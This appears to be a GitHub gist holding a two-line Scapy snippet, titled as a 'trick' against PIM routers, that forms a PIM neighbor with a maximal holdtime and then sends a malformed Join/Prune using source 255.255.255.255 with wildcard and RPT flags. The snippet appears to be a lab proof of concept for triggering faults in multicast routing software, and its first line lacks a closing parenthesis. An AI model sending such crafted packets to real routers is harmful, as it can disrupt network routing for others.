Skip to content

Instantly share code, notes, and snippets.

@qlyoung
Created April 6, 2021 21:54
Show Gist options
  • Save qlyoung/03561ee87e16b67de652731f839a1333 to your computer and use it in GitHub Desktop.
Save qlyoung/03561ee87e16b67de652731f839a1333 to your computer and use it in GitHub Desktop.
pim routers hate this one simple trick
# establish neighbor
sendp(Ether()/IP(dst="224.0.0.13")/PIMv2Hdr()/PIMv2Hello()/PIMv2HelloHoldtime(holdtime=65535)
# join group
sendp(Ether()/IP(dst="224.0.0.13")/PIMv2Hdr()/PIMv2JoinPrune(num_group=1, jp_ips=[PIMv2GroupAddrs(gaddr='224.0.171.18', num_joins=1, join_ips=[PIMv2JoinAddrs(src_ip='255.255.255.255', wildcard=1, rpt=1)])]), iface="veth1")
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment